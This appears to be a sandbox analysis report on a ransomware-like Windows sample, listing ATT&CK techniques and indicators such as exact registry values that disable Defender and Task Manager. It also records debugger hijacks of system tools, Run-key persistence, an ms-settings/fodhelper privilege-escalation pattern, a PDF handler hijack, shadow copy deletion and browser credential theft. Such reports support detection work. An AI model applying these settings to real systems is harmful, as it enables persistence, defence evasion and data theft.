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Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	happyiq.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2564	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	happyiq.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	happyiq.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	happyiq.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\happyiq.io_chrome.exe"	happyiq.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	happyiq.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\happyiq.io_chrome.exe"	happyiq.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	happyiq.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\happyiq.io_chrome.exe"	happyiq.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
916	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_4.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_200.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_52.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_181.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf	happyiq.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_127.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_137.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	happyiq.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf	happyiq.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\happyiq.io_chrome.exe"	happyiq.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\happyiq.io_chrome.exe"	happyiq.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\happyiq.io_chrome.exe"	happyiq.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
6036	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	happyiq.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	happyiq.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	happyiq.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
2780	wscript.exe
5340	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	happyiq.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	happyiq.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2944	sc.exe
2108	sc.exe
5504	sc.exe
3520	sc.exe
5196	sc.exe
4740	sc.exe
332	sc.exe
1556	sc.exe
2072	sc.exe
4276	sc.exe
2036	sc.exe
2748	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5616	cmd.exe
3512	cmd.exe
1596	cmd.exe
1264	cmd.exe
8	cmd.exe
5204	cmd.exe
5256	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4280	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
1172	ipconfig.exe
1448	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
3548	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5368	vssadmin.exe
4792	vssadmin.exe
2780	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Control Panel\Desktop\WallpaperStyle = "2"	happyiq.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134308725454165091"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	happyiq.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	happyiq.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	happyiq.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	happyiq.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	happyiq.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	happyiq.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command	happyiq.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	happyiq.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\happyiq.io_chrome.exe"	happyiq.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open	happyiq.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell	happyiq.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	happyiq.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	happyiq.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings	happyiq.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000_Classes\ms-settings\shell\open\command\DelegateExecute	happyiq.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\happyiq.io_chrome.exe\" \"%1\""	happyiq.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
612	schtasks.exe
316	schtasks.exe
4228	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2564	powershell.exe
2564	powershell.exe
4108	chrome.exe
4108	chrome.exe
2564	powershell.exe
2564	powershell.exe
2376	WMIC.exe
2376	WMIC.exe
2376	WMIC.exe
2376	WMIC.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
4620	WMIC.exe
4620	WMIC.exe
4620	WMIC.exe
4620	WMIC.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
392	WMIC.exe
392	WMIC.exe
392	WMIC.exe
392	WMIC.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe
5968	happyiq.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5968	happyiq.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeShutdownPrivilege	4108	chrome.exe
Token: SeCreatePagefilePrivilege	4108	chrome.exe
Token: SeShutdownPrivilege	4108	chrome.exe
Token: SeCreatePagefilePrivilege	4108	chrome.exe
Token: SeShutdownPrivilege	4108	chrome.exe
Token: SeCreatePagefilePrivilege	4108	chrome.exe
Token: SeShutdownPrivilege	4108	chrome.exe
Token: SeCreatePagefilePrivilege	4108	chrome.exe
Token: SeShutdownPrivilege	4108	chrome.exe
Token: SeCreatePagefilePrivilege	4108	chrome.exe
Token: SeIncreaseQuotaPrivilege	2376	WMIC.exe
Token: SeSecurityPrivilege	2376	WMIC.exe
Token: SeTakeOwnershipPrivilege	2376	WMIC.exe
Token: SeLoadDriverPrivilege	2376	WMIC.exe
Token: SeSystemProfilePrivilege	2376	WMIC.exe
Token: SeSystemtimePrivilege	2376	WMIC.exe
Token: SeProfSingleProcessPrivilege	2376	WMIC.exe
Token: SeIncBasePriorityPrivilege	2376	WMIC.exe
Token: SeCreatePagefilePrivilege	2376	WMIC.exe
Token: SeBackupPrivilege	2376	WMIC.exe
Token: SeRestorePrivilege	2376	WMIC.exe
Token: SeShutdownPrivilege	2376	WMIC.exe
Token: SeDebugPrivilege	2376	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2376	WMIC.exe
Token: SeRemoteShutdownPrivilege	2376	WMIC.exe
Token: SeUndockPrivilege	2376	WMIC.exe
Token: SeManageVolumePrivilege	2376	WMIC.exe
Token: 33	2376	WMIC.exe
Token: 34	2376	WMIC.exe
Token: 35	2376	WMIC.exe
Token: 36	2376	WMIC.exe
Token: SeBackupPrivilege	1948	vssvc.exe
Token: SeRestorePrivilege	1948	vssvc.exe
Token: SeAuditPrivilege	1948	vssvc.exe
Token: SeIncreaseQuotaPrivilege	2376	WMIC.exe
Token: SeSecurityPrivilege	2376	WMIC.exe
Token: SeTakeOwnershipPrivilege	2376	WMIC.exe
Token: SeLoadDriverPrivilege	2376	WMIC.exe
Token: SeSystemProfilePrivilege	2376	WMIC.exe
Token: SeSystemtimePrivilege	2376	WMIC.exe
Token: SeProfSingleProcessPrivilege	2376	WMIC.exe
Token: SeIncBasePriorityPrivilege	2376	WMIC.exe
Token: SeCreatePagefilePrivilege	2376	WMIC.exe
Token: SeBackupPrivilege	2376	WMIC.exe
Token: SeRestorePrivilege	2376	WMIC.exe
Token: SeShutdownPrivilege	2376	WMIC.exe
Token: SeDebugPrivilege	2376	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2376	WMIC.exe
Token: SeRemoteShutdownPrivilege	2376	WMIC.exe
Token: SeUndockPrivilege	2376	WMIC.exe
Token: SeManageVolumePrivilege	2376	WMIC.exe
Token: 33	2376	WMIC.exe
Token: 34	2376	WMIC.exe
Token: 35	2376	WMIC.exe
Token: 36	2376	WMIC.exe
Token: SeShutdownPrivilege	4108	chrome.exe
Token: SeCreatePagefilePrivilege	4108	chrome.exe
Token: SeShutdownPrivilege	4108	chrome.exe
Token: SeCreatePagefilePrivilege	4108	chrome.exe
Token: SeIncreaseQuotaPrivilege	2564	powershell.exe
Token: SeSecurityPrivilege	2564	powershell.exe
Token: SeTakeOwnershipPrivilege	2564	powershell.exe
Token: SeLoadDriverPrivilege	2564	powershell.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe

Suspicious use of SendNotifyMessage 20 IoCs

pid	Process
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe
4108	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5968	happyiq.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5968 wrote to memory of 4108	5968	happyiq.io_chrome.exe	89
PID 4108 wrote to memory of 4832	4108	chrome.exe	90
PID 5968 wrote to memory of 2564	5968	happyiq.io_chrome.exe	91
PID 5968 wrote to memory of 2072	5968	happyiq.io_chrome.exe	93
PID 5968 wrote to memory of 5196	5968	happyiq.io_chrome.exe	95
PID 5968 wrote to memory of 4276	5968	happyiq.io_chrome.exe	97
PID 4108 wrote to memory of 4280	4108	chrome.exe	99
PID 4108 wrote to memory of 4844	4108	chrome.exe	100
PID 4108 wrote to memory of 4844	4108	chrome.exe	100
PID 4108 wrote to memory of 4996	4108	chrome.exe	101
PID 4108 wrote to memory of 4996	4108	chrome.exe	101
PID 5968 wrote to memory of 4740	5968	happyiq.io_chrome.exe	103
PID 4108 wrote to memory of 4408	4108	chrome.exe	104
PID 4108 wrote to memory of 1496	4108	chrome.exe	105
PID 4108 wrote to memory of 4408	4108	chrome.exe	104
PID 4108 wrote to memory of 1496	4108	chrome.exe	105
PID 5968 wrote to memory of 2944	5968	happyiq.io_chrome.exe	107
PID 5968 wrote to memory of 2036	5968	happyiq.io_chrome.exe	109
PID 5968 wrote to memory of 2748	5968	happyiq.io_chrome.exe	111
PID 5968 wrote to memory of 2108	5968	happyiq.io_chrome.exe	157
PID 4108 wrote to memory of 2024	4108	chrome.exe	114
PID 4108 wrote to memory of 2024	4108	chrome.exe	114
PID 5968 wrote to memory of 4592	5968	happyiq.io_chrome.exe	116
PID 5968 wrote to memory of 5504	5968	happyiq.io_chrome.exe	117
PID 5968 wrote to memory of 3520	5968	happyiq.io_chrome.exe	119
PID 4592 wrote to memory of 4352	4592	fodhelper.exe	121
PID 5968 wrote to memory of 5368	5968	happyiq.io_chrome.exe	122
PID 5968 wrote to memory of 2376	5968	happyiq.io_chrome.exe	124
PID 4108 wrote to memory of 5408	4108	chrome.exe	127
PID 4108 wrote to memory of 5408	4108	chrome.exe	127
